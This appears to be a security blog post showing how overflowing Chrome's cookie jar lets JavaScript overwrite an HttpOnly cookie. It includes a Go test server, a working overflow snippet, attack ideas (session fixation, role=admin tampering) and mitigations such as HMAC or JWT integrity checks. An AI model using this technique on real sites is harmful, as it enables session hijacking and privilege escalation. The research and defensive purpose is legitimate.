Overwriting HttpOnly cookies with Javascript


Web-AppSec / November 1, 2021 • 3 min read

Tags: web cookies


So I got in contact with Sam Anttila on twitter regarding his article about overwriting HttpOnly enabled cookies using Javascript, which should not be possible. I asked him if he had verified if Firefox exhibits the same behavior. He answered yes and the result was negative, but the test was done a long time ago and things could have changed. So I decided to try it out myself, as you should :)

This is something you may have read in “older” web application security books, the concept is called Cookie Jar Overflow. The idea is to simply create too many cookies for the browser to store, so that it begins deleting older cookies. However, today developers are encouraged to protect sensitive cookies by setting the HttpOnly flag, in order to prevent a potential XSS to read it. Meaning, you can’t simply overwrite or read a cookie set with this flag. But as it turns out, if you overflow the browser’s cookie jar, you can overwrite the cookie you want with a new value, thereby removing the HttpOnly flag.

According to my tests, this only works in Chrome, just as Sam had reported. Firefox does not seem to allow a HttpOnly enabled cookie to be overwritten even if you overflow the cookie jar. Hats of to Mozilla!

In order to test this, I whipped up a simple Go server which you’ll find below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package main

import (
	"io"
	"log"
	"net/http"
	"strconv"
)

func main() {
	cookieHandler := func(w http.ResponseWriter, req *http.Request) {
		c := &http.Cookie{
			Name:     "secret_cookie",
			Value:    "admin123",
			HttpOnly: true,
		}
		http.SetCookie(w, c)
		io.WriteString(w, "Cookie Set!!\n")
	}

	getCookiesHandler := func(w http.ResponseWriter, req *http.Request) {
		w.Header().Set("Content-Type", "text/html; charset=utf-8")
		for i, c := range req.Cookies() {
			io.WriteString(w, strconv.Itoa(i)+". "+c.Name+":"+c.Value+"<br />")
		}
	}
	http.HandleFunc("/setcookie", cookieHandler)
	http.HandleFunc("/", getCookiesHandler)
	log.Fatal(http.ListenAndServe(":8080", nil))
}

Simply visit /setcookie and then browse back to the main page, you should see the cookie there. Next, you overflow the cookie with the following code snippet (paste into dev tools):

1
2
3
4
for (let i=0;i<1000;i++) {
    document.cookie = "cookie"+i+"=overflow";
}
document.cookie = "secret_cookie=hacked1"

Now the secret_cookie should have the value hacked1 and the HttpOnly flag should be set to false. You can verify this in the cookie storage tab in developer tools.

Practical attacks

Depending on what the cookie is being used for, there are different things you can do after overflowing the jar. You could attempt session fixation if the cookie handles sessions. Other things may include manipulating data, for instance, if the cookie contains something like role=user, you could set it to role=admin.

Mitigation

Well, as Sam mentioned, simply don’t use cookies :) But that may be easier said than done. Ultimately, this attack allows an attacker to modify data, therefore in order to protect against this attack you need to verify the integrity of the cookie. This can be done in different ways but JWT has built-in functionality for this, that could be an option. Another approach could be embedding an HMAC into the cookie which is verified on each request.

Resources

I found some other resources around the web discussing this attack, check them out, they are quite interesting.